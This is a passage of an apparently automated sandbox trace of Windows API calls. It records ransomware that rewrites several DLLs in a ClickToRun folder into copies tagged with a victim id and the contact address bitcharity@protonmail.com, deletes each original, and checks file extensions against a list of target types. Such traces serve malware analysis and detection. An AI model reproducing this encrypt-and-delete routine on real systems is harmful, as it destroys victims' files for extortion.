lpOverlapped=0x0) returned 1 [0154.411] SetEndOfFile (hFile=0x10d8) returned 1 [0154.411] CloseHandle (hObject=0x10d8) returned 1 [0154.417] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.417] SetEndOfFile (hFile=0x10d0) returned 1 [0154.418] CloseHandle (hObject=0x10d0) returned 1 [0154.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0154.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0154.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0154.420] lstrlenW (lpString=".doc") returned 4 [0154.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.420] lstrlenW (lpString=".docx") returned 5 [0154.420] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0154.420] lstrlenW (lpString=".pdf") returned 4 [0154.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.420] lstrlenW (lpString=".xls") returned 4 [0154.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.420] lstrlenW (lpString=".xlsx") returned 5 [0154.420] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0154.420] lstrlenW (lpString=".ppt") returned 4 [0154.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0154.420] lstrlenW (lpString=".zip") returned 4 [0154.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.420] lstrlenW (lpString=".rar") returned 4 [0154.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.421] lstrlenW (lpString=".bz2") returned 4 [0154.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.421] lstrlenW (lpString=".7z") returned 3 [0154.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0154.421] lstrlenW (lpString=".dbf") returned 4 [0154.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0154.421] lstrlenW (lpString=".1cd") returned 4 [0154.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0154.421] lstrlenW (lpString=".jpg") returned 4 [0154.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.422] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.422] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.422] GetLastError () returned 0x0 [0154.423] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0154.447] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0154.449] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.449] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x112, lpOverlapped=0x0) returned 1 [0154.449] SetEndOfFile (hFile=0x10d8) returned 1 [0154.449] CloseHandle (hObject=0x10d8) returned 1 [0154.453] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.453] SetEndOfFile (hFile=0x10d0) returned 1 [0154.455] CloseHandle (hObject=0x10d0) returned 1 [0154.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.455] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0154.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0154.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0154.456] lstrlenW (lpString=".doc") returned 4 [0154.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.456] lstrlenW (lpString=".docx") returned 5 [0154.456] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0154.456] lstrlenW (lpString=".pdf") returned 4 [0154.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.456] lstrlenW (lpString=".xls") returned 4 [0154.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.456] lstrlenW (lpString=".xlsx") returned 5 [0154.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0154.456] lstrlenW (lpString=".ppt") returned 4 [0154.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0154.456] lstrlenW (lpString=".zip") returned 4 [0154.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.456] lstrlenW (lpString=".rar") returned 4 [0154.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.456] lstrlenW (lpString=".bz2") returned 4 [0154.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.456] lstrlenW (lpString=".7z") returned 3 [0154.457] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0154.457] lstrlenW (lpString=".dbf") returned 4 [0154.457] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0154.457] lstrlenW (lpString=".1cd") returned 4 [0154.457] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0154.457] lstrlenW (lpString=".jpg") returned 4 [0154.457] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.457] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.457] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.458] GetLastError () returned 0x0 [0154.458] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0154.487] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0154.488] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.488] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x122, lpOverlapped=0x0) returned 1 [0154.489] SetEndOfFile (hFile=0x10d8) returned 1 [0154.489] CloseHandle (hObject=0x10d8) returned 1 [0154.490] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.490] SetEndOfFile (hFile=0x10d0) returned 1 [0154.491] CloseHandle (hObject=0x10d0) returned 1 [0154.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.492] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0154.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0154.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0154.492] lstrlenW (lpString=".doc") returned 4 [0154.492] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.493] lstrlenW (lpString=".docx") returned 5 [0154.493] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0154.493] lstrlenW (lpString=".pdf") returned 4 [0154.493] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.493] lstrlenW (lpString=".xls") returned 4 [0154.493] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.493] lstrlenW (lpString=".xlsx") returned 5 [0154.493] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0154.493] lstrlenW (lpString=".ppt") returned 4 [0154.493] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0154.493] lstrlenW (lpString=".zip") returned 4 [0154.493] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.493] lstrlenW (lpString=".rar") returned 4 [0154.493] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.493] lstrlenW (lpString=".bz2") returned 4 [0154.493] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.493] lstrlenW (lpString=".7z") returned 3 [0154.493] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0154.493] lstrlenW (lpString=".dbf") returned 4 [0154.493] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0154.493] lstrlenW (lpString=".1cd") returned 4 [0154.493] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0154.493] lstrlenW (lpString=".jpg") returned 4 [0154.494] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.494] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.494] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.495] GetLastError () returned 0x0 [0154.495] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0154.506] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0154.507] ReadFile (in: hFile=0x10d0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.508] WriteFile (in: hFile=0x10d8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x114, lpOverlapped=0x0) returned 1 [0154.508] SetEndOfFile (hFile=0x10d8) returned 1 [0154.508] CloseHandle (hObject=0x10d8) returned 1 [0154.520] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.520] SetEndOfFile (hFile=0x10d0) returned 1 [0154.521] CloseHandle (hObject=0x10d0) returned 1 [0154.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0154.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0154.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0154.523] lstrlenW (lpString=".doc") returned 4 [0154.523] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.523] lstrlenW (lpString=".docx") returned 5 [0154.523] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0154.523] lstrlenW (lpString=".pdf") returned 4 [0154.523] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.523] lstrlenW (lpString=".xls") returned 4 [0154.523] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.523] lstrlenW (lpString=".xlsx") returned 5 [0154.524] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0154.524] lstrlenW (lpString=".ppt") returned 4 [0154.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0154.524] lstrlenW (lpString=".zip") returned 4 [0154.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.524] lstrlenW (lpString=".rar") returned 4 [0154.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.524] lstrlenW (lpString=".bz2") returned 4 [0154.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.524] lstrlenW (lpString=".7z") returned 3 [0154.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0154.524] lstrlenW (lpString=".dbf") returned 4 [0154.524] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0154.524] lstrlenW (lpString=".1cd") returned 4 [0154.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0154.525] lstrlenW (lpString=".jpg") returned 4 [0154.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.527] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.527] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0154.529] GetLastError () returned 0x0 [0154.529] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0154.562] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0154.569] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.569] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x116, lpOverlapped=0x0) returned 1 [0154.570] SetEndOfFile (hFile=0x108c) returned 1 [0154.570] CloseHandle (hObject=0x108c) returned 1 [0154.574] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.574] SetEndOfFile (hFile=0x10d8) returned 1 [0154.576] CloseHandle (hObject=0x10d8) returned 1 [0154.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0154.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0154.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0154.577] lstrlenW (lpString=".doc") returned 4 [0154.578] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.578] lstrlenW (lpString=".docx") returned 5 [0154.578] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0154.578] lstrlenW (lpString=".pdf") returned 4 [0154.578] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.578] lstrlenW (lpString=".xls") returned 4 [0154.578] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.578] lstrlenW (lpString=".xlsx") returned 5 [0154.578] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0154.578] lstrlenW (lpString=".ppt") returned 4 [0154.578] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0154.578] lstrlenW (lpString=".zip") returned 4 [0154.578] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.578] lstrlenW (lpString=".rar") returned 4 [0154.578] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.578] lstrlenW (lpString=".bz2") returned 4 [0154.578] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.578] lstrlenW (lpString=".7z") returned 3 [0154.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0154.579] lstrlenW (lpString=".dbf") returned 4 [0154.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0154.579] lstrlenW (lpString=".1cd") returned 4 [0154.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0154.579] lstrlenW (lpString=".jpg") returned 4 [0154.579] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.579] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.579] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0154.580] GetLastError () returned 0x0 [0154.580] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0154.587] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0154.589] ReadFile (in: hFile=0x10d8, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.589] WriteFile (in: hFile=0x108c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x112, lpOverlapped=0x0) returned 1 [0154.589] SetEndOfFile (hFile=0x108c) returned 1 [0154.589] CloseHandle (hObject=0x108c) returned 1 [0154.592] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.592] SetEndOfFile (hFile=0x10d8) returned 1 [0154.599] CloseHandle (hObject=0x10d8) returned 1 [0154.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.600] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0154.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0154.601] lstrlenW (lpString=".doc") returned 4 [0154.601] 